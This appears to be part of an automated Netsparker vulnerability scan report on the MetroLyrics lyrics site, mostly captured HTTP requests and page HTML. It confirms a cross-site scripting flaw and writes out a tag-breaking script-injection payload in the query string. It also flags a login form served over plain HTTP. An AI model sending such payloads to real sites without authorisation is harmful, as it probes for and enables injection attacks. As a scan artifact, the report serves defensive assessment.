<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/Artist_BOA/Artist_BOA_top_728x90;tile=2;genre=pop;sz=728x90;ord=1299460603?"></script>
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div id="Acolumn">
<div id="navLeft">
<h2>Music Genres</h2>
<ul>
<li><a title="Top Artists" href="top-artists.html" >Top Artists</a></li>
<li><a title="Pop Artists" href="top-artists-pop.html" class="on">Pop</a></li>
<li><a title="Rock Artists" href="top-artists-rock.html" >Rock</a></li>
<li><a title="Hip Hop Artists" href="top-artists-hiphop.html" >Hip Hop</a></li>
<li><a title="Country Artists" href="top-artists-country.html" >Country</a></li>
<li><a title="R&B Artists" href="top-artists-rb.html" >R&B</a></li>
</ul>
</div>
<div id="alphabetLeft">
<h2>Browse Alphabetically</h2>
<ul>
<li><a href="artists-a.html">A</a></li>
<li><a href="artists-b.html">B</a></li>
<li><a href="artists-c.html">C</a></li>
<li><a href="artists-d.html">D</a></li>
<li><a href="artists-e.html">E</a></li>
<li><a href="artists-f.html">F</a></li>
<li><a href="artists-g.html">G</a></li>
<li><a href="artists-h.html">H</a></li>
<li><a href="artists-i.html">I</a></li>
<li><a href="artists-j.html">J</a></li>
<li><a href="artists-k.html">K</a></li>
<li><a href="artists-l.html">L</a></li>
<li><a href="artists-m.html">M</a></li>
<li><a href="artists-n.html">N</a></li>
<li><a href="artists-o.html">O</a></li>
<li><a href="artists-p.html">P</a></li>
<li><a href="artists-q.html">Q</a></li>
<li><a href="artists-r.html">R</a></li>
<li><a href="artists-s.html">S</a></li>
<li><a href="artists-t.html">T</a></li>
<li><a href="artists-u.html"&..
- /top-artists-rock.html
/top-artists-rock.html
|
Parameters
Parameter
|
Type
|
Value
|
Query Based
|
QUERYSTRING
|
'"--></style></script><script>alert(0x000753)</script>
|
Request
GET /top-artists-rock.html?'"--></style></script><script>netsparker(0x000753)</script> HTTP/1.1
Referer: http://www.metrolyrics.com/top-artists.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460445; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f; bblastactivity=1299460453
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: LiteSpeed
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 15130
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:16:43 GMT
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="music" />
<meta name="description" content="contact us" />
<meta name="keywords" content="lyrics" />
<meta property="fb:page_id" content="81914997331" />
<title>Top Artists</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"activeTab":"artists","section":false,"sectionURL":false,"title":"Battle of the Artists"},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/artist-main.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/Artist_BOA/Artist_BOA_top_1x1;tile=1;genre=rock;sz=1x1;ord=1299460603?"></script>
<div id="header">
<h1>Top Artists</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/Artist_BOA/Artist_BOA_top_728x90;tile=2;genre=rock;sz=728x90;ord=1299460603?"></script>
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div id="Acolumn">
<div id="navLeft">
<h2>Music Genres</h2>
<ul>
<li><a title="Top Artists" href="top-artists.html" >Top Artists</a></li>
<li><a title="Pop Artists" href="top-artists-pop.html" >Pop</a></li>
<li><a title="Rock Artists" href="top-artists-rock.html" class="on">Rock</a></li>
<li><a title="Hip Hop Artists" href="top-artists-hiphop.html" >Hip Hop</a></li>
<li><a title="Country Artists" href="top-artists-country.html" >Country</a></li>
<li><a title="R&B Artists" href="top-artists-rb.html" >R&B</a></li>
</ul>
</div>
<div id="alphabetLeft">
<h2>Browse Alphabetically</h2>
<ul>
<li><a href="artists-a.html">A</a></li>
<li><a href="artists-b.html">B</a></li>
<li><a href="artists-c.html">C</a></li>
<li><a href="artists-d.html">D</a></li>
<li><a href="artists-e.html">E</a></li>
<li><a href="artists-f.html">F</a></li>
<li><a href="artists-g.html">G</a></li>
<li><a href="artists-h.html">H</a></li>
<li><a href="artists-i.html">I</a></li>
<li><a href="artists-j.html">J</a></li>
<li><a href="artists-k.html">K</a></li>
<li><a href="artists-l.html">L</a></li>
<li><a href="artists-m.html">M</a></li>
<li><a href="artists-n.html">N</a></li>
<li><a href="artists-o.html">O</a></li>
<li><a href="artists-p.html">P</a></li>
<li><a href="artists-q.html">Q</a></li>
<li><a href="artists-r.html">R</a></li>
<li><a href="artists-s.html">S</a></li>
<li><a href="artists-t.html">T</a></li>
<li><a href=&q..
Password Transmitted Over HTTP
Password Transmitted Over HTTP
Netsparker identified that password data is sent over HTTP.
Impact
If an attacker can intercept network traffic he/she can steal users credentials.
Actions to Take
- See the remedy for solution.
- Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.
All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input starting from the login process should only be served over HTTPS.
- /request.php
/request.php
CONFIRMED
|
mshtml.HTMLInputElementClass
Request
GET /request.php HTTP/1.1
Referer: http://www.metrolyrics.com/login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460374
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: LiteSpeed
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 5970
Vary: Accept-Encoding
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:12:55 GMT
Connection: keep-alive
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="music" />
<meta name="description" content="Membership is required for this function" />
<meta name="keywords" content="lyrics" />
<meta property="fb:page_id" content="81914997331" />
<title>Membership Required For This Function</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"activeTab":"lyrics","section":false,"sectionURL":false,"title":"Membership Required"},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/needmembership3.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_1x1;tile=1;sz=1x1;ord=1299460375?"></script>
<div id="header">
<h1>Membership Required</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div class="blueBox">
<h2>You're not signed in!</h2>
<div id="signed">
<img src="/images/n2/img-inf.jpg" alt="" />
<h3>You must be a member in order to use this section of the site!</h3>
Membership is 100% free and quick!<br />
<div id="fb_login_btn" style="margin: 5px 0 -10px 258px;"><fb:login-button size="large" perms="email"></fb:login-button></div>
<ul>
<li>
<form method="post" onsubmit="md5hash(vb_login_password,vb_login_md5password,vb_login_md5password_utf)" action="/login.php">
<input type="hidden" name="wherewasi" value="" />
<input type="hidden" name="cookieuser" value="1" id="cb_cookieuser_navbar2" accesskey="c" />
<input type="hidden" name="action" value="login" />
<input type="hidden" name="s" value="" />
<input type="hidden" name="do" value="login" />
<input type="hidden" name="forceredirect" value="1" />
<input type="hidden" name="vb_login_md5password" value="" />
<input type="hidden" name="vb_login_md5password_utf" value="" />
<h3>Already Registered?</h3>
<label>Username:</label><input name="vb_login_username" type="text" />
<label>Password:</label><input name="vb_login_password" type="password" />
<input class="btn" name="" type="image" src="/images/n2/btn-sign.jpg" />
<a href="/forum/login.php?do=lostpw">Forgot your password?</a>
</form>
</li>
<li>
<h3>Not Yet Registered?</h3>
Registration is free and easy.
